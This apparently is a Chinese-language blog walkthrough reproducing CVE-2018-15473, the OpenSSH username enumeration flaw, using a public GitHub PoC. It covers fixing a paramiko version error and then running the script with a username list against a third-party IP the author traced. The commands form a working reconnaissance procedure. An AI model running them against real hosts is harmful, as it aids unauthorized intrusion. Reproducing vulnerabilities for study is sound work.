CVE-2018-15473 漏洞复现

前言

OpenSSH 7.7前存在一个用户名枚举漏洞，通过该漏洞，攻击者可以判断某个用户名是否存在于目标主机中。

复现过程

克隆poc脚本到本地

git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git

(注意：该脚本使用python3编写)
安装依赖库：

pip3 install -r requirements.txt

运行脚本

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py 
Traceback (most recent call last):
  File "sshUsernameEnumExploit.py", line 33, in <module>
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
TypeError: 'property' object is not subscriptable

可以看到，发生了报错。
参照 https://www.freebuf.com/vuls/193988.html ，到paramiko库下的auth_handler.py下的AUTH_handler，将 _handler_table改为_client_handler_table。然而，这边文章并没有说清楚具体更改哪些位置。修改后，依然没有运行成功。

解决方法：下载2.4.1版本的paramiko库

oot@kali:~/Desktop/CVE-2018-15473-Exploit# pip3 install paramiko==2.4.1
Collecting paramiko==2.4.1
  Downloading paramiko-2.4.1-py2.py3-none-any.whl (194 kB)
     |████████████████████████████████| 194 kB 17 kB/s 
Requirement already satisfied: pyasn1>=0.1.7 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (0.4.8)
Requirement already satisfied: pynacl>=1.0.1 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (1.4.0)
Requirement already satisfied: bcrypt>=3.1.3 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (3.1.7)
Requirement already satisfied: cryptography>=1.5 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (2.8)
Installing collected packages: paramiko
  Attempting uninstall: paramiko
    Found existing installation: paramiko 2.6.0
    Uninstalling paramiko-2.6.0:
      Successfully uninstalled paramiko-2.6.0
Successfully installed paramiko-2.4.1

之后再次运行脚本，运行成功

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py 
usage: sshUsernameEnumExploit.py [-h] [--port PORT] [--threads THREADS]
                                 [--outputFile OUTPUTFILE]
                                 [--outputFormat {list,json,csv}]
                                 (--username USERNAME | --userList USERLIST)
                                 hostname
sshUsernameEnumExploit.py: error: the following arguments are required: hostname

用某溯源反制ip，测试一下

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py --port 22 --userList sshUsername.txt  --outputFile test.csv --outputFormat csv 118.x.x.x

结果如下

参考链接：
https://github.com/Rhynorater/CVE-2018-15473-Exploit
https://www.anquanke.com/post/id/157607
https://www.cnblogs.com/jiecoll/p/13601653.html
https://www.freebuf.com/vuls/193988.html